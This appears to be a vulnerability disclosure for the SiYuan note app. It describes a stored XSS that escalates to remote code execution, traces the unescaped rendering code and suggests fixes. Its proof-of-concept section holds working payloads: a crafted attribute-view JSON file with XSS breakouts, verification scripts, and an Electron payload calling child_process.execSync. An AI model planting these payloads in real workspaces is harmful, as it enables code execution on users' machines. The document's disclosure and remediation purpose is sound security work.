SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML()

The sink

app/src/protyle/render/av/blockAttr.ts:68, with the unsafe branches highlighted:

export const genAVValueHTML = (value: IAVCellValue) => {
  let html = "";
  switch (value.type) {
    case "block":
      // escaped via escapeAttr — safe
      html = `<input ... value="${escapeAttr(value.block.content)}" ...>`;
      break;
    case "text":
      // value.text.content goes raw into a <textarea>
      html = `<textarea ... rows="${(value.text?.content || "").split("\n").length}" ...>${value.text?.content || ""}</textarea>`;
      break;
    case "url":
      // value.url.content goes raw into value="..." and href="..."
      html = `<input value="${value.url.content}" ...>
              <a ${value.url.content ? `href="${value.url.content}"` : ""} ...>`;
      break;
    case "phone":
      // same pattern as url
      html = `<input value="${value.phone.content}" ...>
              <a ${value.phone.content ? `href="tel:${value.phone.content}"` : ""} ...>`;
      break;
    case "mAsset":
      value.mAsset?.forEach(item => {
        if (item.type === "image") {
          // item.content raw inside aria-label
          html += `<img ... aria-label="${item.content}" src="${getCompressURL(item.content)}">`;
        } else {
          // attributes escaped, but ${item.name || item.content} text-node is raw
          html += `<span ... aria-label="${escapeAttr(item.content)}" data-name="${escapeAttr(item.name)}" data-url="${escapeAttr(item.content)}">${item.name || item.content}</span>`;
        }
      });
      break;
    // other cases use escapeHtml / escapeAttr correctly
  }
  return html;
};

escapeHtml and escapeAttr already exist and are used in the block, select, and mSelect cases. They just aren't applied in the four branches above.

Callers assign the result to innerHTML. Example, app/src/protyle/render/av/select.ts:124:

if (item.classList.contains("custom-attr__avvalue")) {
    item.innerHTML = genAVValueHTML(cellValue);
}

The write path

A grep for any HTML-escape call in kernel/model/attribute_view.go returns nothing:

grep -n 'html.Escape\|EscapeHTML\|EscapeString' kernel/model/attribute_view.go
# (no output)

For comparison, the block-IAL write path at kernel/model/blockial.go:261 applies html.EscapeAttrVal(value). The AV cell write path is missing the equivalent.

Storage and sync

AV files live at data/storage/av/<avID>.json and the repository sync picks them up the same way it does the rest of the workspace data. Any sync target propagates the malicious cell to all peers.

Suggested fix

The renderer-side fix is the more important one. escapeHtml and escapeAttr already exist in blockAttr.ts and already protect the block, select, and mSelect branches. Extend them to the rest of genAVValueHTML:

case "text":
  html = `<textarea ...>${escapeHtml(value.text?.content || "")}</textarea>`;
  break;
case "url":
  html = `<input value="${escapeAttr(value.url.content)}" ...>
          <a ${value.url.content ? `href="${escapeAttr(value.url.content)}"` : ""} ...>`;
  break;
case "phone":
  html = `<input value="${escapeAttr(value.phone.content)}" ...>
          <a ${value.phone.content ? `href="tel:${escapeAttr(value.phone.content)}"` : ""} ...>`;
  break;
case "mAsset":
  // escape item.name and item.content in the text-node positions, not just inside attributes

The mAsset image branch also interpolates item.content into the src attribute via getCompressURL. Worth rejecting javascript: and data: schemes for asset URLs while you're in there.

Backend side, defense in depth: in kernel/model/attribute_view.go:updateAttributeViewValue, call html.EscapeAttrVal(content) on the string-content cell types before persisting. This mirrors the existing protection in kernel/model/blockial.go:261. The renderer fix matters more because the backend fix doesn't retroactively neutralize payloads already sitting in synced workspaces.

PoC

Stand up SiYuan and drop a malicious AV file at workspace/data/storage/av/poc.json:

docker run -d --name siyuan-poc \
  -v ./workspace:/siyuan/workspace \
  -p 16806:6806 \
  b3log/siyuan:latest \
  --workspace=/siyuan/workspace --accessAuthCode=hunter2

Minimum viable AV JSON:

{
  "spec": 2,
  "id": "20260519999999-poctest",
  "name": "PocAV",
  "keyValues": [
    {
      "key": {"id": "...keyblok", "name": "Block", "type": "block"},
      "values": [{
        "id": "...row1blk", "keyID": "...keyblok", "blockID": "...row1blk",
        "type": "block", "isDetached": true,
        "block": {"id": "...row1blk", "content": "Row 1"}
      }]
    },
    {
      "key": {"id": "...keytext", "name": "TextField", "type": "text"},
      "values": [{
        "id": "...celltxt", "keyID": "...keytext", "blockID": "...row1blk",
        "type": "text",
        "text": {"content": "</textarea><img src=x onerror=\"window.__siyuan_av_xss='FIRED'\">"}
      }]
    },
    {
      "key": {"id": "...keyurl0", "name": "UrlField", "type": "url"},
      "values": [{
        "id": "...cellurl", "keyID": "...keyurl0", "blockID": "...row1blk",
        "type": "url",
        "url": {"content": "\"><img src=x onerror=\"window.__siyuan_av_url_xss='FIRED'\">"}
      }]
    }
  ]
}

In a real attack the file gets there via sync, not by hand.

Confirm the API returns the cell content raw:

TOKEN=$(jq -r '.api.token' workspace/conf/conf.json)

curl -s -X POST http://localhost:16806/api/av/getAttributeView \
  -H "Authorization: Token $TOKEN" \
  -d '{"id":"20260519999999-poctest"}' \
  | python3 -m json.tool | grep -E '"content":'

Output from my run on 2026-05-19:

"content": "</textarea><img src=x onerror=\"window.__siyuan_av_xss='FIRED'\">"
"content": "\"><img src=x onerror=\"window.__siyuan_av_url_xss='FIRED'\">"

</textarea> and "> come back literal, no escape.

In the Siyuan renderer's DevTools:

const res = await fetch('/api/av/getAttributeView', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({id: '20260519999999-poctest'})
});
const json = await res.json();

let textValue = null, urlValue = null;
for (const kv of json.data.av.keyValues) {
  for (const v of kv.values || []) {
    if (v.type === 'text' && v.text) textValue = v;
    if (v.type === 'url' && v.url) urlValue = v;
  }
}

// Replay the actual genAVValueHTML branches verbatim.
const textHTML = `<textarea rows="${(textValue.text?.content||'').split('\n').length}">${textValue.text?.content || ''}</textarea>`;
const urlHTML  = `<input value="${urlValue.url.content}">`;

const div = document.createElement('div');
div.innerHTML = textHTML + urlHTML;

await new Promise(r => setTimeout(r, 250));

console.log({
  textMarkerFired: window.__siyuan_av_xss === 'FIRED',
  urlMarkerFired: window.__siyuan_av_url_xss === 'FIRED',
  imgsInDiv: div.querySelectorAll('img').length,
  title: document.title
});

Output from my run:

{
  "textMarkerFired": true,
  "urlMarkerFired": true,
  "imgsInDiv": 3,
  "title": "AV_TEXT_XSS_OK"
}

</textarea> and "> both broke out, the smuggled <img> elements ran their onerror handlers, the marker variables got set, document.title got rewritten. Same code path the real panel takes when the user opens the block attributes on this row.

To turn it into RCE on Electron, swap the marker payload for:

<img src=x onerror="require('child_process').execSync('open /Applications/Calculator.app')">

require is reachable from the renderer because of nodeIntegration:true in app/electron/main.js:408.

Impact

Stored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.

The payload fires the next time the victim opens the block-attribute panel on a row containing the malicious cell. The panel opens on a cell click or via the gutter icon, which is normal database usage. No special interaction required.

Anyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call /api/av/updateAttrViewCell. Once the malicious AV cell is in the workspace, every peer that syncs and opens a panel touching that row runs the payload.